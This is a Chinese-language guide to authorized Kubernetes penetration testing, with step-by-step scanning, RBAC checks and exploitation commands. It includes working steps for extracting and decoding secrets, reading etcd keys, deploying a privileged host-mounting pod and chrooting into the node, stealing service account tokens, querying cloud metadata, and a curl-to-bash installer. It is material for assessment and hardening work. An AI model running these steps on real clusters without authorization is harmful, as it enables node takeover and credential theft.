performing-kubernetes-penetration-testing

执行 Kubernetes 渗透测试

概述

Kubernetes 渗透测试通过模拟攻击者针对 API 服务器、kubelet、etcd、Pod、RBAC、网络策略和 Secret 的技术，系统地评估集群安全性。使用 kube-hunter、Kubescape、peirates 等工具以及手动 kubectl 利用，测试人员可以识别可能导致集群被攻陷的配置错误。

何时使用

• 在进行涉及执行 Kubernetes 渗透测试的安全评估时
• 在针对相关安全事件遵循事件响应流程时
• 在执行定期安全测试或审计活动时
• 通过实际操作测试验证安全控制措施时

前置条件

• 获得授权的渗透测试委托
• Kubernetes 集群访问权限（不同测试场景需要不同级别）
• 已安装 kube-hunter、kubescape、kube-bench
• 已配置 kubectl
• 可访问集群组件的网络

核心概念

Kubernetes 攻击面

组件	端口	攻击向量
API 服务器	6443	认证绕过、RBAC 滥用、匿名访问
Kubelet	10250/10255	未认证访问、命令执行
etcd	2379/2380	未认证读取、Secret 提取
Dashboard	8443	默认凭证、令牌窃取
NodePort 服务	30000-32767	服务暴露、应用程序利用
CoreDNS	53	DNS 欺骗、区域传送

针对 Kubernetes 的 MITRE ATT&CK

阶段	技术
初始访问	暴露的 Dashboard、Kubeconfig 窃取、应用程序利用
执行	exec 进入容器、CronJob、部署特权 Pod
持久化	后门容器、变异 Webhook、静态 Pod
权限提升	特权容器、节点访问、RBAC 滥用
防御规避	Pod 名称伪装、命名空间隐藏、日志删除
凭证访问	Secret 提取、服务账户令牌窃取
横向移动	容器逃逸、集群内部服务

工作流

步骤 1：外部侦察

# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

步骤 2：使用 kube-hunter 进行自动化扫描

# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json

步骤 3：使用 kube-bench 进行 CIS 基准评估

# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

步骤 4：使用 Kubescape 进行框架合规性检查

# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json

步骤 5：RBAC 利用测试

# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods

步骤 6：Secret 提取测试

# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

步骤 7：Pod 利用

# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

步骤 8：网络策略测试

# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

验证命令

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

参考资料

• kube-hunter - Kubernetes 渗透测试
• Kubescape - Kubernetes 安全平台
• kube-bench - CIS 基准
• MITRE ATT&CK 容器矩阵
• Kubernetes 威胁矩阵 - Microsoft